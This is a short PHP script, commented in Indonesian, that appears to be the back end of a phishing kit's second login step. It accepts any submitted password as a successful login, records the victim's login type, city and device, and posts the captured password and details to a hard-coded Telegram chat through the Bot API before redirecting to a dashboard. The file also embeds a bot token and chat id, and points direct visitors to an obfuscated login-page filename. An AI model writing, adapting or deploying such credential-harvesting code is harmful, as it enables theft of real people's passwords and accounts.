<?php
session_start();

// === Konfigurasi Bot Telegram ===
$token   = "8727011628:AAEN6_CnSRiOyTZg3is2Z8JyYodXhgXdII4";   // <<< GANTI dengan token bot Anda
$chat_id = "-1003615695612";     // <<< GANTI dengan chat id Anda

if ($_SERVER["REQUEST_METHOD"] === "POST") {
    $password  = $_POST["password"] ?? "";
    $loginType = $_POST["loginType"] ?? "unknown";
    $city      = $_POST["city"] ?? "unknown";
    $device    = $_POST["device"] ?? $_SERVER['HTTP_USER_AGENT'];

    // Simpan ke session (anggap login selalu berhasil)
    $_SESSION["logged_in"] = true;
    $_SESSION["login_type"] = $loginType;
    $_SESSION["city"] = $city;
    $_SESSION["device"] = $device;

    // === Notifikasi Telegram ===
    $message = "✅ Login Step 2 (Diterima)\n"
             . "🔑 Password Input: $password\n"
             . "📱 Login Type: $loginType\n"
             . "🌍 Kota: $city\n"
             . "💻 Device: $device\n"
             . "🕒 " . date("Y-m-d H:i:s");

    $url = "https://api.telegram.org/bot$token/sendMessage";
    $data = [
        "chat_id" => $chat_id,
        "text"    => $message
    ];

    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
    curl_exec($ch);
    curl_close($ch);

    // Redirect langsung ke dashboard
    header("Location: ../dashboard.php");
    exit;
} else {
    header("Location: ../saxbG9naW4.html"); // balik ke login awal jika akses langsung
    exit;
}
?>